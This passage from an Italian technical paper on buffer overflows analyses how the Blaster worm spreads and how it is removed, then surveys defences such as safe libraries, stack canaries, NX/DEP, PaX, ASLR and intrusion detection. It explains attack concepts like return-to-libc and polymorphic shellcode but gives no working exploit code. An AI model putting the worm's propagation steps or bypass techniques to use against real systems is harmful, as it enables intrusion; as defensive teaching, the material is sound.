gli permetterebbe di avere controllo completo sullamacchina e di eseguire quindi qualsiasi cosa. Per poter fare ciò, il malintenzionato deve utilizzareuna tra le porte aperte per RPC, tra cui 135, 139, 445 e 593.Il worm fu creato pochi giorni dopo l’apparizione in rete di questo bollettino e la sua rapidadiffusione dimostra che, nonostante gli avvertimenti di Microsoft e di numerosi altri siti e la patchdisponibile, pochi sono corsi ai ripari.L’eseguibile del worm è il file msblast.exe di 6176 byte (quindi velocissimo da scaricare perqualsiasi computer con qualsiasi connessione), capace di sfruttare la suddetta falla. Partendo da uncomputer A già contaminato, il worm invia ad altri computer dati mediante i quali effettueràl’attacco. Il tutto si svolge in diverse fasi: 1) Attesa: A deve prima controllare di essere connesso ad Internet, quindi entra in un ciclo infinito, aspettando il valore di ritorno della funzione InternetGetConnectedState(). Se l’esito è positivo, il programma è sicuro di essere connesso ad Internet, quindi può passare alla fase 2. 16
  • 2) Generazione indirizzi IP: il programma genera gli indirizzi IP dei computer a cui lanciare il contagio. Per trovare le macchine adatte (non tutte sono vulnerabili alla suddetta falla, o perché hanno installato la patch, oppure perché utilizzano un firewall o un sistema operativo diverso da quelli indicati) deve effettuare una scansione di un certo range di indirizzi IP, cominciando da un indirizzo IP nella forma X.Y.Z.W, che viene scelto secondo la seguente procedura: viene rilevato l’indirizzo IP di A e si sceglie in modo random un valore tra 1 e 20; se il valore è compreso tra 1 e 12, viene utilizzato l’indirizzo IP di A come base per la ricerca, impostando W a 0 e decrementando Z di 20 se Z > 20; se invece il valore è compreso tra 13 e 20, X andrà da 1 a 254, Y e Z da 0 a 253, D sarà sempre a 0. Il programma scandisce 20 host per volta, trovando macchine vulnerabili, tra cui supponiamo ci sia un ipotetico B. 3) Attacco al RPC: utilizzando la porta TCP 135, A invia pacchetti formulati in modo errato (ma costruiti ad hoc per ottenere l’effetto nefasto) al servizio RPC/DCOM di B che, essendo affetto dalla falla, non effettua controlli sulla lunghezza di essi. Risultato: buffer overflow!!! 4) Controllo del contagio: attraverso la porta 135, A controlla se B è già infetto chiamando la funzione GetLastError() che controlla appunto se è già presente su B l’eseguibile del worm o meno. In caso affermativo, Blaster chiama la funzione ExitProcess() e termina, perché se il computer è già infetto, non c’è bisogno di fare nulla. In caso negativo, A attiva i socket per comunicare con B (mediante la funzione WSAStartup()) e per la comunicazione TFTP necessaria per il contagio (mediante la funzione GetModuleFileName()). 5) La shell CMD.EXE: A questo punto, A ha già assunto il controllo di B, quindi lancia sulla macchina da infettare la shell tramite il comando cmd.exe, necessaria ad A per far eseguire a B dei comandi. I due host comunicano mediante la porta TCP 4444. 6) Download del worm: tramite la shell lanciata nella fase precedente, B invia comandi in remoto per riconnettersi ad A, che rimane in ascolto sulla porta UDP 69, aspettando una richiesta di copia del worm. B richiede ad A l’eseguibile msblast.exe, che scarica nella cartella %systemroot%/system32 (cartella di sistema) attraverso il protocollo TFTP. Il file appena scaricato viene lanciato. 7) Aggiornamento delle Registry Keys: utilizzando la shell lanciata nella fase 5, A apporta delle modifiche ad alcune Registry Keys di B ed inserisce nella directory HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun il valore “windows auto update” = “msblast.exe” in modo che il worm venga eseguito ad ogni avvio del pc. A questo punto A termina il suo compito, B è ormai infetto ed esegue lo stesso ciclo che ha eseguito A, cercando altri computer da infettare.Tramite il sistema che abbiamo appena visto, Blaster è riuscito ad espandersi a macchia d’olio. Ma,come abbiamo detto, il vero scopo è quello di colpire Microsoft mediante un attacco di tipo DDoSda parte dei vari computer infetti, ottenuto sovraccaricando la porta 80 del sito windowsupdate.comcon pacchetti SYN e HTTP, questi ultimi lunghi 40 byte e trasmessi ogni 50 secondi. L’attaccoproprio a questo sito serve anche per impedire ai computer infetti di scaricare la patch necessariaper rimediare alla vulnerabilità. Inoltre, il worm è stato progettato per effettuare questo tipo diattacco in determinati momenti: • ogni giorno, nel caso di mesi compresi tra Settembre e Dicembre. • dal 16 del mese in poi, per gli altri mesi (ecco perché, essendo stato creato nel mese di Agosto, l’attacco era previsto per il 16).Blaster, inoltre, deve essere eseguito su un sistema con: • Windows XP infettato o riavviato durante la routine nociva • Windows 2000 infettato durante la routine nociva e che non è stato riavviato dopo l’infezione • Windows 2000 riavviato dopo l’infezione, durante la routine nociva, e dove l’utente è attualmente registratoI sintomi che permettono di accorgersi della presenza di Blaster sul proprio sistema sono: 17
  • • Prestazioni della macchina sensibilmente ridotte • Continui riavvii, dovuti al fatto che l’interfaccia RPC accetta i pacchetti formulati in modo errato, ma non riesce a trattarli, dunque va in crash o si riavvia (vedi figura). • Se si analizza il traffico di pacchetti sulle porte TCP 135 e 4444 e sulla porta UDP 69, ci si accorgerà che qualcosa non va…In ogni caso, basta lanciare un antivirus con le firme aggiornate ed effettuare la scansione delsistema per riconoscere ed eliminare il virus. In caso di esito negativo, si può tentare con unarimozione mediante tool specifici che si trovano in rete, rilasciati per esempio da Symantec oMcAfee, oppure si può tentare una rimozione manuale seguendo i seguenti passaggi: 1) Chiudere il processo attivo msblast.exe dal Task Manager 2) Eliminare il file msblast.exe che si trova in %systemroot%system32 3) Eliminare il valore “windows auto update = msblast.exe” dalla registry key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun, cosa possibile utilizzando l’editor di registro Regedit, fornito da Windows. 4) Eliminare dalla cartella Esecuzione Automatica (Startup nella versione inglese) presente nel menu Start un file chiamato TFTP o simile, responsabile del messaggio di errore che appare all’avvio del computer 5) Riavviare il computer 6) Scaricare ed installare la patch dal sito Windows Update 7) Svuotare il Cestino ed eliminare i punti di ripristino in System Restore, che potrebbero far tornare il wormAd oggi, sono state catalogate alcune varianti di Blaster: • LOVESAN.A: è il worm originale • LOVESAN.B: attraverso un dropper scarica da un sito due file e li copia in %systemroot%system32. I due file sono Root32.exe (backdoor) e teekids.exe (codice del worm). Inoltre aggiunge il riferimento ai due file nella registry key HKEY_LOCAL_MACHINE SOFTWAREMicrosoftWindowsCurrentVersionRun. • LOVESAN.C: il nome del file del worm è stato cambiato in penis32.exe • LOVESAN.F: il nome del file del worm è stato cambiato in enbiei.exe e l’obiettivo del DDoS non è più il sito Windows Update , ma il sito tuiasi.ro, che è inesistente, quindi vanifica l’attacco. Al registro di Windows è aggiunta la chiave HKEY_LOCAL_MACHINE SOFTWAREMicrosoftWindowsCurrentVersionRunwww.hidro.4t.com. Contiene un messaggio nascosto: “Nu datzi la fuckultatea de Hidrotehnica!!! Pierdetzi timp ul degeaba...Birsan te cheama pensia!!! Ma pis pe diploma!!!!!!”, che tradotto in inglese corrisponde al seguente messaggio: “Dont go to the Hydrotechnics faculty!!! You are wasting time...Barsan, the retirement wants you!!!”. 18
  • 8. Difesa contro i Buffer Overflow e… nuovi attacchiCome abbiamo avuto modo di notare, i BOF sono un problema tutt’altro che semplice da risolvere,in quanto le sue molteplici varianti non consentono di trovare una soluzione unica e definitiva.Comunque, fin da quando è stata chiara la reale minaccia rappresentata dai BOF, si è cercato diarginare per quanto possibile il problema. Diverse sono state le soluzioni trovate e diverse sonostate le tecniche da parte dei creatori di exploit per cercare di eluderle. Cerchiamo di analizzare lepiù importanti e note di queste soluzioni, vedendo anche come è possibile bypassarle.8.1 Difesa: Scelta del linguaggio di programmazione da utilizzareSebbene non si tratti di una vera e propria soluzione, è bene conoscere le differenze tra i varilinguaggi di programmazione nel trattamento dei tipi di dato inerenti ai BOF, cioè array e stringhe.Infatti, la scelta del linguaggio di programmazione può avere un effetto significativosull’apparizione di BOF.Buona parte dei software, compreso il sistema operativo Unix, sono scritti in C e C++, che nonforniscono la giusta protezione contro l’accesso e la sovrascrittura dei dati in memoria (attraverso ipuntatori è possibile praticamente spostarsi e scrivere in memoria pressoché dovunque) e contro lascrittura in un array al di fuori dei suoi confini (è il problema principale che causa il bufferoverflow). Alcune variazioni del C (ad esempio Cyclone e D) usano svariate tecniche per impedireo limitare alcuni usi scorretti dei puntatori.Altri linguaggi di programmazione forniscono controlli a runtime che possono inviare warning ogenerare eccezioni quando si tenta di sovrascrivere dati (es. Java, Python, Ada, Lisp, Smalltalk,ecc.). Quasi ogni tipo di linguaggio “type safe” o interpretato offre protezione contro i bufferoverflow, segnalando un errore ben definito.8.2 Difesa: scrivere codice correttoSarebbe una soluzione a tutti i problemi sia di BOF, che di exploit in generale…se solo fosseattuabile. Purtroppo rimane semplicemente un’utopia, perché errare è umano, quindi quando siprogramma è inevitabile che si commettano errori o leggerezze che poi possono portare a delle veree proprie falle di sicurezza. Inoltre, l’uso di librerie esterne permette spesso di svolgere grosso dellavoro, offrendo un approccio al problema da risolvere più semplice e meno dettagliato, ma spessonasconde altri errori causati involontariamente da terzi. I software finora sviluppati e l’enormenumero di patch presenti per alcuni di essi lo conferma. Tuttavia, è possibile seguire delle semplicinorme che, se da un lato non risolvono il problema, dall’altro possono cercare di migliorare lasituazione, rendendo magari la vita più difficile all’hacker di turno. Ad esempio, senza scomodare(almeno per ora) soluzioni esterne, è bene sostituire strcpy con strncpy, strcat con strncat, gets confgets e sprintf con snprintf. Ovviamente si tratta solo di un primo rudimentale livello di sicurezza,vediamo adesso altre soluzioni più complesse.8.3 Difesa: Attenzione ai programmi SUIDSUID sta per “Set-User-ID” e indica quei programmi che vanno in esecuzione con privilegi di root,chiunque sia ad eseguirli. Alcuni di questi sono necessari per effettuare operazioni comuni,altrimenti possibili solo all’utente root, altri però non lo sono affatto, ma possono rappresentare unproblema, dato che possono essere sfruttati da un malintenzionato attraverso un buffer overflow, altermine del quale si troverà con privilegi di root e quindi avrà il controllo della macchina. Dunque,il consiglio è quello di verificare che sul sistema non ci siano troppi programmi di questo tipo,magari normalizzando quelli che non si utilizzano mai. 19
  • 8.4 Difesa: Uso di librerie “safe”I buffer overflow sono così comuni perché il linguaggio di programmazione utilizzato è a voltepoco sicuro. Ad esempio, il linguaggio C non controlla automaticamente che i confini degli arraysiano rispettati, né che i puntatori siano utilizzati in modo corretto, si tratta di controlli che spettanoall’utente. Ma anche le librerie standard (libC) presenti all’interno di esso e che vengonocostantemente utilizzate per operazioni come I/O, manipolazione di stringhe, ecc. sono poco sicure.Un esempio di funzioni insicure: gets(): utilizzata per inserire in un buffer una stringa presa dall’esterno (standard input). È la funzione non sicura per eccellenza, in quanto non effettua controlli di nessun tipo, quindi inserendo anche solo un carattere in più della lunghezza del buffer, il buffer overflow è assicurato. strcpy() e strcat(): utilizzate rispettivamente per copiare una stringa all’interno di un’altra e per concatenare due stringhe. Il problema sta nel fatto che non vengono fatti controlli sulla dimensione della stringa di destinazione, quindi il buffer overflow è in agguato. Le versioni strncpy() e strncat(), utilizzate per copiare/concatenare solo alcuni caratteri della stringa sorgente, sono più sicure. Format functions (es. printf(), sprintf(), fprintf(), ecc.): si tratta di funzioni che prendono come parametro un certo numero di argomenti che rappresentano tipi di dato primitivi di C, che poi vengono stampati sotto forma di stringa in modo che l’utente possa comprenderli. Questi parametri sono salvati sullo stack per valore o per riferimento. A questo punto la funzione analizza la stringa presa in input, leggendo un carattere alla volta. Se non trova il simbolo “%”, allora il carattere è copiato direttamente in output, altrimenti controlla il carattere dopo “%”, che indica il tipo di dato da stampare e va a prendere quest’ultimo sullo stack. Da notare che la funzione sprintf() copia una stringa in un’altra, ma mentre la destinazione è un buffer di dimensioni fisse, la sorgente non lo è, dunque si possono avere gli stessi problemi di buffer overflow presenti in strcpy(). Comunque, i veri problemi si hanno se, per ignoranza o dimenticanza, oppure volontariamente, non si forniscono alla funzione i formati dei tipi di dato da stampare. È possibile utilizzare ad esempio %s e %x per leggere dati dallo stack o da altre locazioni di memoria e %n per scriverci sopra. Questo tipo di vulnerabilità è stato sottovalutato fino al 1999, finchè non cominciarono a comparire i primi exploit che dimostrarono il contrario e che diedero origine a un nuovo filone di studio, chiamato “Format String vulnerabilities”. scanf(): è utilizzata per inserire in una variabile un dato fornito in input. Può anche inserire una stringa in un array di caratteri già creato e di dimensioni fisse. È proprio qui che nasce il problema: la funzione non effettua alcun controllo, dunque è possibile inserire una stringa di dimensioni maggiori dello spazio del buffer, causando inevitabilmente un buffer overflow.Per ovviare al problema di queste funzioni non sicure, il cui uso può portare a vere e proprie falle disicurezza, sono state quindi create delle librerie di tipo “safe”, cioè librerie ben scritte e testate chevanno a sostituire quelle classiche (in C libC) e si occupano di effettuare automaticamente lagestione dei buffer e il controllo dei confini, specialmente laddove i BOF si presentano, cioèstringhe e array. L’uso di queste librerie effettivamente può essere utile per ridurre i BOF, ma dasolo non basta ad arginare un fenomeno così vasto: sono infatti molti i BOF che riescono a“passare” lo stesso. Alcune librerie di questo tipo sono: Libsafe: si tratta di una libreria dinamica caricata in memoria prima delle altre, che effettua l’overriding di alcune delle funzioni di libC. In particolare, Libsafe intercetta le chiamate a queste funzioni e usa invece la propria implementazione di queste funzioni. Dunque la semantica utilizzata è sempre la stessa, ma Libsafe aggiunge il controllo dei confini per evitare Buffer Overflow. Le funzioni sovrascritte sono quelle meno sicure, cioè strcpy, strcat, getwd, gets, scanf, realpath e sprintf. A titolo esemplificativo, notare il confronto tra la funzione strcpy di libC e quella di Libsafe: 20
  • char * strcpy(char * dest,const char *src) { char *tmp = dest; while ((*dest++ = *src++) != 0) /* nothing */; return tmp;}Come si nota facilmente, nessun controllo è effettuato per verificare se la stringa di destinazioneè più piccola di quella su cui copiarla. Vediamo adesso l’implementazione di Libsafe:char *strcpy(char *dest, const char *src) { ... if ((len = strnlen(src, max_size)) == max_size) _libsafe_die("Overflow caused by strcpy()"); real_memcpy(dest, src, len + 1); return dest;}Senza entrare nei dettagli implementativi, è facile notare il controllo effettuato sulla lunghezzadella stringa da copiare.Un problema di Libsafe è che non fornisce alcuna protezione per gli eseguibili prodotti dacompilatori che non scrivono il frame pointer sullo stack o che non scrivono l’indirizzo diritorno immediatamente dopo il frame pointer. Per maggiori informazionihttp://www.research.avayalabs.com/project/libsafe.htmlThe Better String Library: è un’astrazione di un tipo stringa che è decisamente miglioredell’implementazione presente in C (array di char) e a quella di C++ (std::string), delle quali sipropone come completo rimpiazzamento. Tra le funzionalità più importanti, oltre alla maggiorefacilità di manipolazione delle stringhe, alle maggiori performance e alla portabilità, èannoverata anche la sensibile diminuzione dei problemi di buffer overflow. Per maggioriinformazioni http://bstring.sourceforge.net/Arri Buffer API: fornisce un’interfaccia per creare, scrivere, copiare, duplicare, cancellare edeallocare array. Contiene anche API per manipolare le stringhe, utilizzare i socket, utilizzarel’I/O e funzioni di alto livello per C, che permettono, tra le altre cose, di ridurre il problema deiBOF. Per maggiori informazioni https://gna.org/projects/arri/Vstr: si tratta di una libreria che fornisce un’implementazione di stringa diversa da quella a cuiil C ci ha abituati. Infatti, la stringa non è più vista come qualcosa a cui si può accedereattraverso un puntatore di tipo char, ma come un contenitore formato da più blocchi. Attraversole funzioni readv() e writev() è possibile rispettivamente leggere e scrivere sulla stringa senzabisogno di occuparsi di allocare o spostare memoria. Anche questa libreria fornisce un validoaiuto per l’eliminazione dei buffer overflow. Per maggiori informazionihttp://www.and.org/vstr/Funzione strlcpy: è nata per rimpiazzare le funzioni di C strcpy e strncpy, alle quali assomigliamolto, dato che è dichiarata nel seguente modo:size_t strlcpy(char * destination, const char * source, size_t size);Offre due caratteristiche che possono essere d’aiuto agli sviluppatori: una stringa non vuotacopiata da strlcpy è sempre terminata con nul, rendendo più semplice trovare la fine dellastringa; inoltre la funzione prende in input anche la lunghezza della stringa, permettendo dievitare il BOF quando la stringa di origine è più grande di quella di destinazione.Esiste anche la funzione strlcat, che va a sostituire la funzione di C strcat. 21
  • 8.5 Difesa: Protezione contro lo “stack smashing”Lo scopo di questo tipo di protezione è quello di evitare i più comuni buffer overflow analizzandolo stack al ritorno da una funzione, per verificare se è stato modificato o meno. In caso positivo, ilprogramma esce con una “segmentation fault”.Questo obiettivo è generalmente raggiunto modificando l’organizzazione dei dati nello stack di unafunzione, in modo da includere un “canary”, cioè un valore noto sistemato tra un buffer e i dati dicontrollo. In caso di buffer overflow, il canary viene sovrascritto, dunque al ritorno dalla funzione èsubito scovato ed è possibile correre ai ripari. Esistono diversi tipi di canary: Terminator (o hard-to-insert) canaries: nascono dall’osservazione che la maggior parte dei BOF sono basati su operazioni che terminano con i terminatori, dunque sono formati da un Null byte, un carriage return(0x0D), un line feed(0x0A) e un EOF nella rappresentazione libC (0xFF). Il difetto è che sono conosciuti fin dall’inizio, dunque un attaccante potrebbe sovrascrivere sia il canary che le informazioni di controllo (portando così a compimento il BOF) e poi utilizzare un overflow più piccolo per risistemare il canary e passare dunque inosservato (fortunatamente i casi in cui è possibile effettuare un doppio overflow sono rari). Random (o hard-to-spoof) canaries: sono generati in modo casuale, per ovviare ai problemi dei terminator canaries. Quindi il canary inserito nello stack è generato all’inizializzazione del programma e memorizzato in una variabile globale riempita di solito da “unmapped pages”, in modo che qualsiasi trucco utilizzato per leggere il suo valore causi una “segmentation fault”, terminando il programma. Comunque, il problema non viene del tutto eliminato, in quanto è sempre possibile leggere il valore del canary dallo stack. Random XOR canaries: si tratta di Random canaries, con la differenza che stavolta viene effettuato lo XOR (operatore di confusione ideale secondo Shannon) tra il canary e l’indirizzo di ritorno, in modo che se si modifica l’indirizzo di ritorno e poi si rimette a posto il canary, il risultato dello XOR sarà comunque diverso perché l’indirizzo di ritorno è cambiato. Nonostante questo, i Random XOR canaries complicano solo un po’ la vita a chi attacca, ma non risolvono i problemi del tipo precedente.Le implementazioni più famose della protezione contro lo “stack smashing” sono: ProPolice (GCC Stack-Smashing Protector): si tratta di una patch per GCC 3.X, inclusa poi in parte in GCC 4.1. E’ diventata standard in alcuni sistemi operativi Unix, fra cui la distribuzione Gentoo Linux, anche se in essa non è abilitata di default. Alcune azioni portate avanti da ProPolice riguardano il riordino delle variabili locali, che vengono sistemate dopo i puntatori per evitare che l’overflow di un buffer corrompa un puntatore che si trova dopo di esso. Supporta Terminator e Random canaries. StackGuard: si tratta di un’altra estensione di GCC per proteggere lo stack in modo del tutto trasparente all’utente. È nota soprattutto per avere introdotto i Random XOR canaries. L’entusiasmo iniziale che riscosse questo progetto andò via via scemando, forse perché i benchmark effettuati hanno dimostrato un sostanziale incremento nel costo di ogni chiamata a funzione, tanto che la versione 2.0 annunciata dalla società Immunix è tuttora irreperibile. StackGhost: rende i BOF più difficili da sfruttare utilizzando una caratteristica hardware presente solo sull’architettura SPARC e SPARC64 per rilevare le modifiche agli indirizzi di ritorno. Lavora in maniera del tutto trasparente all’utente e con un impatto sulle performance < 1%, peccato si tratti di una tecnologia fortemente “hardware-based”.Dunque queste soluzioni risolvono solo in parte il problema dei BOF, rendendoli solo più complessida sfruttare, ma non eliminandoli del tutto.Una protezione più forte sarebbe quella di dividere in due parti lo stack, di cui una per i dati e l’altraper gli indirizzi di ritorno, soluzione sfruttata dal linguaggio di programmazione Forth, checomunque non risolve il problema, in quanto ci sono altri dati importanti a parte l’indirizzo diritorno che questa soluzione non protegge. 22
  • 8.6 Difesa: Protezione dello spazio eseguibileUn’altra strada per prevenire i BOF è quella di proteggere lo spazio eseguibile, cosa che può essereimplementata sia a livello hardware che software. La protezione a livello hardware è una tecnologiachiamata NX (No eXecute) bit, che si occupa di marcare una parte della memoria affinchè siautilizzata solo per i dati e non permetta quindi alle istruzioni del processore di risiedere in essa. Inpratica, questa parte della memoria diventa non eseguibile e non scrivibile. Questo aiuta a prevenirediversi buffer overflow, in particolare quelli che applicano la code injection, tra i quali Sasser eBlaster (di cui si parla ampiamente nel paragrafo 6). Il termine “NX bit” si riferisce al bit 63(l’ultimo bit in un integer di 64 bit) nella entry della tabella di paginazione di un processore x86. Sequesto bit è settato a 0, il codice di quella pagina può essere eseguito, se invece è settato a 1, si trattasolo di dati e non di istruzioni, dunque essi non possono essere eseguiti. Non si tratta certo di unatecnologia nuova, dato che esisteva qualcosa del genere anche nei primi processori Intel 80286 enelle architetture SPARC, Alpha e PowerPC, ma è stata reimplementata in chiave moderna primada AMD (che chiamò “NX bit” la tecnologia) e poi da Intel (che per le solite strategie commerciali,chiamò la tecnologia “XD bit”, dove XD sta per eXecute Disable) ed inserita all’interno di alcunidei loro processori, tra i quali quelli a 64 bit.Per quanto riguarda la protezione a livello software, diverse tecnologie sono state sviluppate einserite all’interno di vari sistemi operativi. Vediamole più in dettaglio: Data Execution Prevention (DEP): si tratta della tecnologia di casa Microsoft, implementata per la prima volta in Windows XP Service Pack 2 e in Windows 2003 Server Service Pack 1. Essa lavora in due modalità: hardware-enforced DEP (nel caso in cui il processore supporta NX bit, che viene riconosciuta e attivata dal sistema operativo) e software-enforced DEP (nel caso in cui il processore non supporta NX-bit, che quindi viene in qualche modo emulata via software, di default solo per i servizi essenziali di Windows). Processori supportati: AMD64, IA-64, Efficeon, EM64T, Pentium M (later revisions), AMD Sempron (later revisions). W^X: da pronunciare W XOR X, è la tecnologia implementata in OpenBSD, che supporta NX bit nei processori Alpha, AMD64, HPPA e SPARC ed offre la sua emulazione nei processori IA-32 (x86). Essa prevede che ciascuna pagina sia scrivibile o eseguibile, ma non contemporaneamente (da qui il nome W XOR X, che sta per Write Xor eXecute): ciò causa il fallimento di diversi stack overflow, perché anche se il codice viene iniettato nello stack perché la memoria è scrivibile, il programma non può eseguirlo e si limita a terminare. Per limitare la complessità, W^X non fa uso di NX bit, è semplicemente una tecnologia diversa. PaX: si tratta di una patch per il kernel Linux per la protezione delle pagine di memoria. L’idea alla base è quella di permettere ai programmi di fare solo ciò che devono fare per poter eseguire correttamente, e nient’altro. PaX marca la parte dati della memoria come non eseguibile e la parte del programma come non scrivibile. Inoltre implementa la “address space layout randomization”, di cui parleremo più avanti. In sostanza PaX previene molti BOF, in particolare rendendo inefficaci i code injection e rendendo indeterminati (basati sulla fortuna di chi attacca) i return-to-libc. Può utilizzare NX bit se supportato dal processore (Alpha, AMD64, IA-64, MIPS, PA-RISC, PowerPC e SPARC) o emularne le funzionalità in caso contrario (ad esempio sui processori x86). Fa parte del progetto Grsecurity ed è implementata in Hardened Gentoo, oltre che in Trusted Debian, il progetto di Adamantix di una distribuzione sicura di Linux basata su Debian. 23
  • Mascotte di PAX Exec Shield: come PaX, si tratta di una patch per il kernel Linux. È nata inizialmente per emulare le funzionalità di NX bit sui processori a 32 bit x86, ma poi ha integrato il supporto hardware per NX bit. Alla richiesta di inserirla nella prossima versione del kernel la risposta fu negativa, in quanto Exec Shield introduceva diversi cambiamenti al codice. Come PaX cerca di marcare la parte dati della memoria come non eseguibile e la parte del programma come non scrivibile, evitando diversi BOF. Fornisce anche tecniche di “address space layout randomization”, che vedremo più avanti. Exec Shield non richiede che i programmi siano ricompilati per funzionare, ad eccezione di alcune applicazioni come wine ed emacs.8.7 Nuovo attacco: gli attacchi di tipo “return-to-libc”Lo scopo di questo tipo di attacchi (il cui nome è spesso abbreviato in ret2libc) è quello di chiamareuna funzione di libC al ritorno da una funzione, sovrascrivendo l’indirizzo di ritorno non con quellodella locazione di memoria dove si trova lo shellcode, bensì con quello di una funzione di libC,spesso system(), magari passandogli come argomento qualcosa come /bin/sh (che ci dà una shell inlocale). In questo modo forziamo l’esecuzione di una funzione, senza bisogno di eseguire codiceche si trova nello stack o nello heap, aggirando quindi l’ostacolo rappresentato dalla protezionedello spazio eseguibile. Invece possono essere ostacolati dalla protezione contro lo stack smashing(dato che questi sistemi sono in grado di rilevare la corruzione dello stack) e dalla “address spacelayout randomization”, che li rende molto difficili da eseguire.8.8 Difesa: Address space layout randomization (ASLR)È una tecnologia la cui idea di base è quella di organizzare alcune parti chiave della memoria di unprocesso (ad esempio stack, heap, librerie e parti eseguibili) in maniera casuale nell’address spacedi un processo. Ciò rende difficili alcuni tipi di attacco, in particolare quelli che sovrascrivono l’EIPper puntare alla locazione dello shellcode opportunamente inserito e gli attacchi return-to-libc; ciò èdovuto al fatto che diventa difficile per chi attacca conoscere l’indirizzo del codice da eseguire, datoche essendo generato in modo random si sposta sempre all’interno della memoria e spesso l’unicatecnica che si può applicare per individuarlo è il brute forcing.Questa tecnologia è implementata da molti sistemi di sicurezza, per esempio PaX e Exec Shield.8.9 Difesa: Deep Packet Inspection (DPI)Questa tecnologia permette di esaminare i pacchetti che transitano in una rete, confrontandoli con leinformazioni a disposizione presenti in un database e riguardanti attacchi conosciuti. Ciò permettedi trovare gli eventuali pacchetti che portano le tracce di un buffer overflow o di un altro tipo diattacco (ad esempio pacchetti con una lunga serie di istruzioni No-Operation, spesso utilizzati neibuffer overflow) e di evitare che passino. Un pacchetto di questo tipo può essere bloccato, marcato,rediretto, ecc. La DPI è utilizzata anche dalle compagnie telefoniche per conoscere i pacchetti che sistanno ricevendo attraverso Internet. Il nome comincia con “deep” per indicare una verifica accuratadei pacchetti, che va dal secondo al settimo livello del modello OSI, e per distinguerla dalla Shallow 24
  • Packet Inspection (anche detta Just Packet Inspection), che invece controlla solo l’header delpacchetto. Si tratta di una tecnologia utile ma spesso poco efficace, in quanto può prevenire solo gliattacchi conosciuti, senza contare che chi attacca si dà sempre da fare per inventare nuove armi,come dimostrano i nuovi shellcode alfanumerici, polimorfici, metamorfici e auto modificanti.8.10 Difesa: Intrusion Detection Systems (IDS)Gli IDS sono utilizzati per riconoscere i pacchetti che transitano in rete e che mirano ad effettuaremanipolazioni sui sistemi. Essi agiscono là dove i firewall convenzionali non arrivano,riconoscendo attacchi contro servizi vulnerabili, attacchi mirati alle applicazioni, attacchi utilizzatiper acquisire privilegi di root o per accedere ad informazioni riservate. Sono composti da diverseparti, tra cui sensori, che si comportano da generatori di eventi, Console, che controlla i sensori edeffettua il monitoraggio degli eventi e una Engine centrale che registra gli eventi in un database egenera avvertimenti basati su un sistema di regole. Esistono diversi tipi di IDS, distinti in base altipo e alla locazione dei sensori e in base alla metodologia utilizzata dalla Engine per generare gliavvertimenti.8.11 Nuovo attacco: Shellcode alfanumerici, polimorfici, metamorfici e automodificantiSi tratta della nuova frontiera raggiunta dagli shellcode, come risposta alle tecnologie via viainventate per cercare di arginarli. Sono spesso tecniche utilizzate anche da alcuni virus per evitare diessere scoperti e sono spesso molto simili tra loro. In particolare, i nuovi shellcode spesso sono: Alfanumerici: sono shellcode scritti utilizzando esclusivamente codici alfanumerici, ad esempio il codice ASCII, con l’obiettivo di indurre le applicazioni, ad esempio i Web forms, ad accettare il codice utilizzato per gli exploit. Ovviamente bisogna conoscere bene il codice macchina dell’architettura su cui effettuare l’attacco, tenendo conto che esso varia da architettura ad architettura. Polimorfici: si tratta di shellcode che variano lasciando però immutato l’algoritmo originale. Questa tecnica, spesso utilizzata da alcuni virus, è utilizzata anche da alcuni shellcode con l’obiettivo comune di nascondere la propria presenza, sapendo che spesso gli Intrusion Detection Systems controllano i pacchetti che transitano in rete, cercando di scoprire pacchetti che corrispondono a virus o exploit conosciuti. Uno strumento spesso utilizzato dai creatori di shellcode polimorfici è la crittografia: il codice viene criptato, in modo da non consentire agli IDS di riconoscerlo; tuttavia una piccola parte che contiene le informazioni per decriptarlo deve rimanere non criptata, ed è proprio su quella che gli IDS puntano per riconoscere lo shellcode. Per difendersi da essi, coloro che scrivono shellcode polimorfici riscrivono questa piccola parte ogni volta che il worm viene propagato, ma gli IDS rispondono effettuando una ricerca basata su pattern, in modo da riconoscere comunque lo shellcode. Insomma, la battaglia non ha mai fine… Metamorfici: si tratta di shellcode in grado di riprogrammare se stessi, assumendo rappresentazioni che li fanno sembrare totalmente diversi da come ci si aspetta. Anche questa è una tecnica utilizzata dai virus e serve per vanificare i controlli basati su pattern, infatti si tratta di shellcode più pericolosi di quelli polimorfici. Auto modificanti (self-modifying): gli shellcode di questo tipo non vogliono rivelare la loro presenza e per ottenere ciò si servono spesso di codice polimorfico, tanto che gli shellcode polimorfici spesso sono chiamati auto modificanti primitivi.8.12 ConclusioniDopo aver esposto il problema ed averlo analizzato, bisognerebbe esporre la soluzione. In questocaso però la soluzione non esiste… 25
  • Per quanto detto precedentemente, scrivere codice corretto è un’utopia, perché è facile sbagliare ocommettere una leggerezza o utilizzare codice di terzi che involontariamente contiene dei bug.Anche se il codice è stato testato e sembra corretto sotto tutti i punti di vista, probabilmente arriveràqualcuno che ha trovato una vulnerabilità che si può sfruttare per accedere al sistema, magariutilizzando un buffer overflow.Assodato dunque che scrivere codice completamente corretto è pressoché impossibile e dunque nonsi può prevenire il problema, si è cercato allora di trovare dei buoni metodi per curarlo. Diversetecnologie sono state messe a punto a tal proposito, alcune delle quali molto sofisticate, chelavorano su fronti diversi con l’obiettivo comune di infliggere un duro colpo ai buffer overflow.Molte di queste funzionano egregiamente e addirittura è possibile combinarle tra loro per assicurareuna sicurezza maggiore, ma il problema è lungi dall’essere risolto. Se qualcuno lavora per produrrearmi che possano competere con le armi del nemico, il nemico non sta con le mani in mano e nellostesso tempo lavora per migliorare le sue: ed ecco che ad un attacco corrisponde una difesa, seguitada un nuovo attacco con relativa difesa, e così via. Insomma, ci sono tutte le basi per presupporreche la battaglia non avrà mai fine… 26
